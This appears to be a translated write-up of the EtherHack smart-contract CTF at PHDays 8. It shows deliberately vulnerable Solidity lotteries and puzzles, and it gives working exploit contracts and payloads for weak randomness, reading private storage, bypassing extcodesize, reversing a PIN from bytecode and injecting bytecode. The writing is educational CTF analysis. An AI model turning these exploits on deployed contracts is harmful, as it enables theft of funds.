Finding vulnerabilities in smart contracts: review of the EtherHack competition at Positive Hack Days 8

image

This year, for the first time, a contest called EtherHack was held at PHDays . Participants sought vulnerabilities in smart speed contracts. In this article we will tell you about the tasks of the competition and possible solutions.

Azino 777


Win a lottery and break the bank!


The first three tasks were related to errors in generating pseudo-random numbers, which we recently talked about: We predict random numbers in smart Ethereum contracts . The first task was based on the pseudo-random number generator (PRNG), which used the hash of the last block as a source of entropy for generating random numbers:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

Since the result of calling block.blockhash(block.number-1) will be the same for any transaction within a single block, an attack-exploit contract with the same rand() function can be used in an attack to trigger a target contract through an internal message:

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

Private ryan


We have added a private initial value that no one will ever calculate.


This task is a slightly complicated version of the previous one. The variable seed, which is considered private, is used to offset the sequence number of the block (block.number), so that the hash of the block does not depend on the previous block. After each bet, the seed is rewritten to a new "random" offset. For example, in the lottery Slotthereum it was exactly that.

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

As in the previous task, the hacker only needed to copy the rand() function into the exploit contract, but in this case the value of the private seed variable needed to be obtained outside the blockchain and then sent to the exploit as an argument. To do this, you could use the web3.eth.getStorageAt () method from the web3 library:

image

Reading the storage of the contract outside the blockchain to obtain the initial value

After receiving the initial value, it remains only to send it to the exploit, which is almost identical to the one in the first task:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

Wheel of fortune


The following block hash is used in this lottery. Try to calculate it!


In this task, it was necessary to find out the hash of the block, whose number was saved in the Game structure after the bet was made. Then this hash was retrieved to generate a random number after making the next bet.

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

In this case, there are two possible solutions.

  1. Call the target contract twice through an exploit contract. The result of the function call block.blockhash (block.number) will always be zero.
  2. Wait for 256 blocks, and make a second bet. The hash of the saved block sequence number will be zero due to limitations of the Ethereum virtual machine (EVM) in the number of block hashes available.

In both cases, the winning bid will be uint256(keccak256(bytes32(0))) % 100 or "47".

Call me maybe


This contract does not like when it is caused by other contracts.


One of the options for protecting a contract from being invoked by other contracts is to use an EVM extcodesize assembler-instruction, which returns the contract size at its address. The method consists in using the assembler insert to apply this instruction to the address of the sender of the transaction. If the result is greater than zero, then the sender of the transaction is a contract, since regular addresses in Ethereum do not have a code. It was this approach that was used in this assignment to prevent the contract from being called up by other contracts.

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

The tx.origin transaction tx.origin points to the original creator of the transaction, and msg.sender points to the last caller. If we send a transaction from a normal address, these variables will be equal, and we will end up with revert() . Therefore, to solve our problem, it was necessary to bypass the extcodesize instruction extcodesize , so that tx.origin and msg.sender were different. Fortunately, there is one glorious feature in EVM that will help with this:

image

And indeed, when a newly placed contract causes some other contract in the constructor, it does not yet exist in the blockchain itself, it acts exclusively in the role of the wallet. Thus, the code is not tied to a new contract and extcodesize will return zero:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 

The lock


Oddly enough, the lock is closed. Try to find the pin code through the unlock function (bytes4 pincode). Each unlock attempt will cost you 0.5 esters.


In this task, the participants were not given a code - they had to restore the contract logic by its byte code themselves. One option was to use Radare2 - a platform that is used for disassembling and debugging EVM .

First, let's post an example of the task and enter a code at random:

 await contract.unlock("1337", {value: 500000000000000000}) →false 

The attempt, of course, is good, but unsuccessful. Now we will try to debug this transaction.

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

In this case, we instruct Radare2 to use the evm architecture. Then this tool connects to the Ethereum node and retrieves the trace of this transaction in the virtual machine. And now, finally, we are ready to dive into the EVM bytecode.

First of all, you need to perform an analysis:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

Next, disassemble the first 1000 instructions (this should be enough to cover the entire contract) using the pd 1000 command and switch to viewing the graph with the VV command.

In EVM bytecode compiled using solc , usually the first is the function manager. Based on the first four bytes of the call data containing the function signature, which is defined as bytes4(sha3(function_name(params))) , the function manager decides which function to call. We are interested in the unlock(bytes4) function, which corresponds to 0x75a4e3a0 .

Following the execution flow using the s key, we will get to the node that compares the callvalue instruction with the value 0x6f05b59d3b20000 or 500000000000000000 , which is equivalent to 0.5 ether:

 push8 0x6f05b59d3b20000 callvalue lt 

If the provided air is enough, then we fall into a node that resembles a control structure:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

The code puts the value 0x4 at the top of the stack, checks the upper bound (the value should not exceed 0xff) and compares lt with some value duplicated from the fourth stack element (dup4).

Scrolling down to the bottom of the graph, we see that this fourth element is essentially an iterator, and this control structure is a cycle that corresponds to for(var i=0; i<4; i++):

 push1 0x1 add swap4 

If we consider the body of the loop, it becomes obvious that it performs a search of four incoming bytes and performs some operations with each of the bytes. First, the loop checks that the nth byte is greater than 0x30:

 push1 0x30 dup3 lt iszero 

and also that this value is less than 0x39:

 push1 0x39 dup3 gt iszero 

what is essentially a check that this byte is in the range from 0 to 9. If the check was successful, then we find ourselves in the most important block of code:

image

We divide this block into parts:

1. The third item on the stack is the ASCII code of the nth byte of the pin code. 0x30 (ASCII code for zero) is pushed onto the stack and then subtracted from the code of this byte:

 push1 0x30 dup3 sub 

That is, pincode[i] - 48 , and we essentially get a digit from the ASCII code, let's call it d.

2. 0x4 is added to the stack and used as an exponent for the second item in the stack, d:

 swap1 pop push1 0x4 dup2 exp 

That is d ** 4 .

3. The fifth element of the stack is extracted and the result of the exponentiation is added to it. Let's call this sum S:

 dup5 add swap4 pop dup1 

That is, S += d ** 4 .

4. 0xa (ASCII code for 10) is pushed onto the stack and used as a multiplier for the seventh stack element (which was the sixth before this addition). We do not know what it is, so we call this element U. Then d is added to the result of the multiplication:

 push1 0xa dup7 mul add swap5 pop 

That is: U = U * 10 + d or, more simply, this expression restores the entire pin-code as a number from individual bytes ([0x1, 0x3, 0x3, 0x7] → 1337) .

The most difficult thing we have done, now move on to the code after the cycle.

 dup5 dup5 eq 

If the fifth and sixth elements in the stack are equal, then the execution thread will lead us to the sstore instruction, which sets a flag in the storage of contracts. Since this is the only sstore instruction, it seems that this is what we were looking for.

But how to pass this test? As we have already found out, the fifth element in the stack is S, and the sixth is U. Since S is the sum of all pin-code digits raised to the fourth power, we need a pin code for which this condition will be satisfied. In our case, the analysis showed that 1**4 + 3**4 + 3**4 + 7**4 does not equal 1337, and we did not get to the winning instruction sstore .

But now we can calculate a number that satisfies the conditions of this equation. There are only three numbers that can be written down as the sum of the numbers in their fourth power: 1634, 8208 and 9474. Any of them can open the lock!

Pirate Ship


Hey, cock! Pirate ship docked in port. Make him anchor and raise the flag with the Jolly Roger and go in search of treasure.


The standard course of execution of the contract includes three actions:

  1. A call to the dropAnchor() function with a block number, which should be more than 100,000 blocks larger than the current one. The function dynamically creates a contract, which is an “anchor” that can be “raised” with the help of selfdestruct() after the specified block.
  2. Call the pullAnchor() function, which initiates selfdestruct() if enough time has passed (a lot of time!).
  3. A call to the sailAway () function, which sets blackJackIsHauled to true if there is no anchor contract.

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

The vulnerability is quite obvious: we have a direct injection of assembler instructions when creating a contract in the dropAnchor() function. But the main difficulty was to create a payload that will allow us to pass the check on block.number .

In EVM, you can create contracts using the create statement. Its arguments are value, input offset and input size. value is the bytecode that places the contract itself (initialization code). In our case, the initialization code + contract code is placed in uint256 (thanks to the GasToken team for the idea):

 0x6a63004141414310585733ff600052600b6015f3 

where the bytes in bold are the contract code and 414141 is the injection site. Since we are faced with the task of getting rid of the throw operator, we need to insert our new contract and rewrite the closing part of the initialization code. Let's try to inject the contract with the instruction 0xff, which will lead to the unconditional removal of the contract anchor using selfdestruct() :

  68 414141ff3f3f3f3f3f ;;  push9 contract
 60 00 ;;  push1 0
 52 ;;  mstore
 60 09 ;;  push1 9
 60 17 ;;  push1 17
 f3 ;;  return 

If we convert this byte sequence to uint256 (9081882833248973872855737642440582850680819) and use it as an argument for the dropAnchor() function, we get the following value for the code variable (the byte-code in bold is our payload):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

After the code variable becomes part of the initcode variable, we get the following value:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

Now the high bytes 0x6300 gone, and the rest, containing the original bytecode, is discarded after 0xf3 (return) .

image

As a result, a new contract with modified logic is created:

  41 ;;  coinbase
 41 ;;  coinbase
 41 ;;  coinbase
 ff ;;  selfdestruct
 3f ;;  junk
 3f ;;  junk
 3f ;;  junk
 3f ;;  junk
 3f ;;  junk 

If we now call the pullAnchor () function, this contract will be immediately destroyed, since we no longer have checks on the block.number. After that, call the function sailAway () and celebrate the victory!

results


  1. First place and broadcast in an amount equivalent to 1 000 US dollars: Alexey Pertsev (p4lex)
  2. Second place and Ledger Nano S: Alexey Markov
  3. Third place and souvenirs PHDays: Alexander Vlasov

All results: etherhack.positive.com/#/scoreboard

image

Congratulations to the winners and thanks to all the participants!

PS We are grateful to Zeppelin for placing the source code of the Ethernaut CTF platform in open access.

Source: https://habr.com/ru/post/414959/


All Articles